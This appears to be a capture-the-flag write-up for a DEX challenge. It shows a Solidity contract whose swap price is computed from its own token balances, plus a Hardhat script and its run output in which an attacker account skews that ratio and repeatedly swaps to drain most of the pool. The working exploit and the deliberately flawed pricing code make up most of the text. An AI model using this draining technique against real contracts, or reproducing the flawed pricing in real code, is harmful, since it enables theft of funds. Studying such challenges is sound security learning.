The challenge is to find a way to upset the ratio inside getSwapPrice(). The way I did this is by using the Unexpected Ether attack except we will be transferring ERC20 tokens instead of ETH.
Lookout for the below line in solution.js where I transfer tokens to DEX to upset the price calculation in my favor. After that it is just a matter of repeating calls to Dex.swap() to steal all of one token.
await myerc20_1.connect(attacker).transfer(dex.address, 10)
The way I have solved it takes out most of the token but not all. I am going to leave this as it is considering I have got the gist. I am sure other more elegant solutions exist out there.
// Dex.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import '@openzeppelin/contracts/utils/math/SafeMath.sol';
import '@openzeppelin/contracts/access/Ownable.sol';
contract Dex is Ownable {
using SafeMath for uint;
address public token1;
address public token2;
constructor() {}
function setTokens(address _token1, address _token2) public onlyOwner {
token1 = _token1;
token2 = _token2;
}
function addLiquidity(address token_address, uint amount) public onlyOwner {
IERC20(token_address).transferFrom(msg.sender, address(this), amount);
}
function swap(address from, address to, uint amount) public {
require((from == token1 && to == token2) || (from == token2 && to == token1), "Invalid tokens");
require(IERC20(from).balanceOf(msg.sender) >= amount, "Not enough to swap");
uint swapAmount = getSwapPrice(from, to, amount);
IERC20(from).transferFrom(msg.sender, address(this), amount);
IERC20(to).approve(address(this), swapAmount);
IERC20(to).transferFrom(address(this), msg.sender, swapAmount);
}
function getSwapPrice(address from, address to, uint amount) public view returns(uint){
return((amount * IERC20(to).balanceOf(address(this)))/IERC20(from).balanceOf(address(this)));
}
/*function approve(address spender, uint amount) public {
SwappableToken(token1).approve(msg.sender, spender, amount);
SwappableToken(token2).approve(msg.sender, spender, amount);
}*/
function balanceOf(address token, address account) public view returns (uint){
return IERC20(token).balanceOf(account);
}
}
// MyERC20.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
contract MyERC20 is ERC20
{
constructor(string memory name, string memory symbol, uint256 initialSupply) ERC20(name, symbol)
{
_mint(msg.sender, initialSupply);
}
}
//Hardhat Test (solution.js):
const { expect } = require("chai");
const { Wallet, Signer } = require("ethers");
const { ethers, network } = require("hardhat");
describe("Recovery.sol", () => {
describe("Test run", () => {
it("should run fine", async () => {
const [owner, attacker] = await ethers.getSigners();
// Deploy 2 instances of MyERC20 token
const myERC20Contract = await ethers.getContractFactory("MyERC20")
const myerc20_1 = await myERC20Contract.deploy("myerc20_1", "myerc20_1", 1000);
await myerc20_1.deployed();
const myerc20_2 = await myERC20Contract.deploy("myerc20_2", "myerc20_2", 1000);
await myerc20_2.deployed();
console.log("myerc20_1 address: ", myerc20_1.address)
console.log("myerc20_2 address: ", myerc20_2.address)
// Deploy DEX contract
const dexContract = await ethers.getContractFactory("Dex")
const dex = await dexContract.deploy()
await dex.deployed()
console.log("Dex address: ", dex.address)
// Point Dex contract to the 2 tokens we created
await dex.setTokens(myerc20_1.address, myerc20_2.address)
// Transfer 10 tokens each to attacker and 100 to dex
await myerc20_1.transfer(attacker.address, 10)
await myerc20_2.transfer(attacker.address, 10)
await myerc20_1.transfer(dex.address, 100)
await myerc20_2.transfer(dex.address, 100)
console.log("attacker token balance: ", await myerc20_1.balanceOf(attacker.address), await myerc20_2.balanceOf(attacker.address))
console.log("dex token balance: ", await myerc20_1.balanceOf(dex.address), await myerc20_2.balanceOf(dex.address))
// Attacher sends 10 myerc20_1 tokens to Dex to change the ratio in Dex.getSwapPrice() in its favour
await myerc20_1.connect(attacker).transfer(dex.address, 10)
console.log("Dex myerc20_1 balance: ", await myerc20_1.balanceOf(dex.address))
// Attacker approves Dex to spend both tokens
await myerc20_1.connect(attacker).approve(dex.address, 10000)
await myerc20_2.connect(attacker).approve(dex.address, 10000)
// Each iteration converts from one token to another
// Each iteration takes out an increasing number of tokens from DEX because of ratio calculated in Dex.getSwapPrice()
for (let i = 10; i < 29; i++)
{
console.log(i)
if(i%2 == 0)
{
await dex.connect(attacker).swap(myerc20_2.address, myerc20_1.address, i)
console.log("Attacker token balance: ", await myerc20_1.balanceOf(attacker.address), await myerc20_2.balanceOf(attacker.address))
console.log("Dex token balance: ", await myerc20_1.balanceOf(dex.address), await myerc20_2.balanceOf(dex.address))
}
else
{
await dex.connect(attacker).swap(myerc20_1.address, myerc20_2.address, i)
console.log("Attacker token balance: ", await myerc20_1.balanceOf(attacker.address), await myerc20_2.balanceOf(attacker.address))
console.log("Dex token balance: ", await myerc20_1.balanceOf(dex.address), await myerc20_2.balanceOf(dex.address))
}
}
// Scrape out the maximum of whatever remains
await dex.connect(attacker).swap(myerc20_2.address, myerc20_1.address, 44)
console.log("Attacker token balance: ", await myerc20_1.balanceOf(attacker.address), await myerc20_2.balanceOf(attacker.address))
console.log("Dex token balance: ", await myerc20_1.balanceOf(dex.address), await myerc20_2.balanceOf(dex.address))
});
});
});
Output:
---------
Recovery.sol
Test run
myerc20_1 address: 0x5FbDB2315678afecb367f032d93F642f64180aa3
myerc20_2 address: 0xe7f1725E7734CE288F8367e1Bb143E90bb3F0512
Dex address: 0x9fE46736679d2D9a65F0992F2272dE9f3c7fa6e0
attacker token balance: BigNumber { value: "10" } BigNumber { value: "10" }
dex token balance: BigNumber { value: "100" } BigNumber { value: "100" }
Dex myerc20_1 balance: BigNumber { value: "110" }
10
Attacker token balance: BigNumber { value: "11" } BigNumber { value: "0" }
Dex token balance: BigNumber { value: "99" } BigNumber { value: "110" }
11
Attacker token balance: BigNumber { value: "0" } BigNumber { value: "12" }
Dex token balance: BigNumber { value: "110" } BigNumber { value: "98" }
12
Attacker token balance: BigNumber { value: "13" } BigNumber { value: "0" }
Dex token balance: BigNumber { value: "97" } BigNumber { value: "110" }
13
Attacker token balance: BigNumber { value: "0" } BigNumber { value: "14" }
Dex token balance: BigNumber { value: "110" } BigNumber { value: "96" }
14
Attacker token balance: BigNumber { value: "16" } BigNumber { value: "0" }
Dex token balance: BigNumber { value: "94" } BigNumber { value: "110" }
15
Attacker token balance: BigNumber { value: "1" } BigNumber { value: "17" }
Dex token balance: BigNumber { value: "109" } BigNumber { value: "93" }
16
Attacker token balance: BigNumber { value: "19" } BigNumber { value: "1" }
Dex token balance: BigNumber { value: "91" } BigNumber { value: "109" }
17
Attacker token balance: BigNumber { value: "2" } BigNumber { value: "21" }
Dex token balance: BigNumber { value: "108" } BigNumber { value: "89" }
18
Attacker token balance: BigNumber { value: "23" } BigNumber { value: "3" }
Dex token balance: BigNumber { value: "87" } BigNumber { value: "107" }
19
Attacker token balance: BigNumber { value: "4" } BigNumber { value: "26" }
Dex token balance: BigNumber { value: "106" } BigNumber { value: "84" }
20
Attacker token balance: BigNumber { value: "29" } BigNumber { value: "6" }
Dex token balance: BigNumber { value: "81" } BigNumber { value: "104" }
21
Attacker token balance: BigNumber { value: "8" } BigNumber { value: "32" }
Dex token balance: BigNumber { value: "102" } BigNumber { value: "78" }
22
Attacker token balance: BigNumber { value: "36" } BigNumber { value: "10" }
Dex token balance: BigNumber { value: "74" } BigNumber { value: "100" }
23
Attacker token balance: BigNumber { value: "13" } BigNumber { value: "41" }
Dex token balance: BigNumber { value: "97" } BigNumber { value: "69" }
24
Attacker token balance: BigNumber { value: "46" } BigNumber { value: "17" }
Dex token balance: BigNumber { value: "64" } BigNumber { value: "93" }
25
Attacker token balance: BigNumber { value: "21" } BigNumber { value: "53" }
Dex token balance: BigNumber { value: "89" } BigNumber { value: "57" }
26
Attacker token balance: BigNumber { value: "61" } BigNumber { value: "27" }
Dex token balance: BigNumber { value: "49" } BigNumber { value: "83" }
27
Attacker token balance: BigNumber { value: "34" } BigNumber { value: "72" }
Dex token balance: BigNumber { value: "76" } BigNumber { value: "38" }
28
Attacker token balance: BigNumber { value: "90" } BigNumber { value: "44" }
Dex token balance: BigNumber { value: "20" } BigNumber { value: "66" }
Attacker token balance: BigNumber { value: "103" } BigNumber { value: "0" }
Dex token balance: BigNumber { value: "7" } BigNumber { value: "110" }
✔ should run fine (2665ms)
1 passing (3s)